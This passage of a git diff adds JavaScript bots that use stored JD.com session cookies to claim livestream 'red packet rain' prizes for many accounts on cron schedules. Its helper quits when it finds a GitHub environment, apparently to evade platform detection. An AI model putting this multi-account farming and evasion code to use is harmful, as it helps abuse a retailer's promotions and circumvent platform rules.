process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/activity/jd_live_redrain.js b/activity/jd_live_redrain.js new file mode 100644 index 0000000..6d5a5d4 --- /dev/null +++ b/activity/jd_live_redrain.js @@ -0,0 +1,280 @@ +/* +直播红包雨 +每天0,9,11,13,15,17,19,20,21,23可领,每日上限未知 +活动时间:2020-12-14 到 2020-12-31 +更新地址:jd_live_redrain.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#直播红包雨 +0 0,9,11,13,15,17,19,20,21,23 * * * jd_live_redrain.js, tag=直播红包雨, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "0 0,9,11,13,15,17,19,20,21,23 * * *" script-path=jd_live_redrain.js, tag=直播红包雨 + +===============Surge================= +直播红包雨 = type=cron,cronexp="0 0,9,11,13,15,17,19,20,21,23 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js + +============小火箭========= +直播红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0 0,9,11,13,15,17,19,20,21,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('直播红包雨'); +let ids = { + '0': 'RRA3S6TRRbnNNuGN43oHMA5okbcXmRY', + '9': 'RRA3vyGH4MRwCJELDwV7p24mNAByiSk', + '11': 'RRAnabmRSnpzSSZicXUhSFGBvFXs5c', + '13': 'RRA4RhWMc159kA62qLbaEa88evE7owb', + '15': 'RRA2CnovS9KVTTwBD9NV7o4kc3P8PTN', + '17': 'RRA2nFXT2oSQM3KaYX9uhBC1hBijDey', + '19': 'RRA3SQpuSAAJq1ckoPr4TXaxwbLG73k', + '20': 'RRA2cHV3KXqvHAZGboTTryr8JMYZd5j', + '21': 'RRA3SPs4XrDEXXwQjEFGrBLtMpjtkMV', + '23': 'RRA3dFHoZXGThSnctvtAf69dmVyEDfm', +} +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + process.env.TZ = "Asia/Shanghai"; + Date.prototype.TimeZone = new Map([ + ['Asia/Shanghai',+8], + ]) + Date.prototype.zoneDate = function(){ + if(process.env.TZ === undefined){ + return new Date(); + }else{ + for (let item of this.TimeZone.entries()) { + if(item[0] === process.env.TZ){ + let d = new Date(); + d.setHours(d.getHours()+item[1]); + return d; + } + } + return new Date(); + } + } +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.log(`=====远程红包雨信息=====`) + await getRedRain(); + if(!$.activityId) return + let nowTs = new Date().getTime() + if (!($.st <= nowTs && nowTs < $.ed)) { + $.log(`远程红包雨配置获取错误,从本地读取配置`) + $.log(`\n`) + let hour = (new Date().getUTCHours() + 8) %24 + if (ids[hour]){ + $.activityId = ids[hour] + $.log(`本地红包雨配置获取成功`) + } else{ + $.log(`无法从本地读取配置,请检查运行时间`) + return + } + } else{ + $.log(`远程红包雨配置获取成功`) + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = `【${new Date().getUTCHours()+8}点${$.name}】` + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await receiveRedRain(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function showMsg() { + if ($.isNode() && !jdNotify) { + await notify.sendNotify(`【京东账号${$.index}】${$.nickName}`, message) + } + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getRedRain() { + return new Promise(resolve => { + $.get({ + url: "http://ql4kk90rw.hb-bkt.clouddn.com/jd_live_redRain.json?" + Date.now(), + }, (err, resp, data) => { + try { + if (err) { + console.log(`1111${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.activityId = data.activityId + $.st = data.startTime + $.ed = data.endTime + console.log(`下一场红包雨开始时间:${new Date(data.startTime)}`) + console.log(`下一场红包雨结束时间:${new Date(data.endTime)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveRedRain() { + return new Promise(resolve => { + const body = {"actId": $.activityId}; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)} 京豆\n` + + } else if (data.subCode === '8') { + console.log(`领取失败,已领过`) + message += `领取失败,已领过\n`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + message += `暂无红包雨\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime()}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/active/redrain/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_live_redrain2.js b/activity/jd_live_redrain2.js new file mode 100644 index 0000000..a837589 --- /dev/null +++ b/activity/jd_live_redrain2.js @@ -0,0 +1,244 @@ +/* +超级直播间红包雨 +每天20-23半点可领,每日上限未知 +活动时间:活动时间未知 +更新地址:jd_live_redrain2.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#超级直播间红包雨 +30 20-23/1 * * * jd_live_redrain2.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "30 20-23/1 * * *" script-path=jd_live_redrain2.js, tag=超级直播间红包雨 + +===============Surge================= +超级直播间红包雨 = type=cron,cronexp="30 20-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain2.js + +============小火箭========= +超级直播间红包雨 = type=cron,script-path=jd_live_redrain2.js, cronexpr="30 20-23/1 * * *", timeout=3600, enable=true + */ +const $ = new Env('超级直播间红包雨'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await getRedRain(); + if(!$.activityId) return + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 + // console.log(nowTs, $.startTime, $.endTime) + if ($.startTime <= nowTs && nowTs < $.endTime) { + await receiveRedRain(); + } else { + console.log(`不在红包雨时间之内`) + message += `不在红包雨时间之内` + } + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getRedRain() { + return new Promise(resolve => { + $.post(taskPostUrl('liveActivityV842'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + 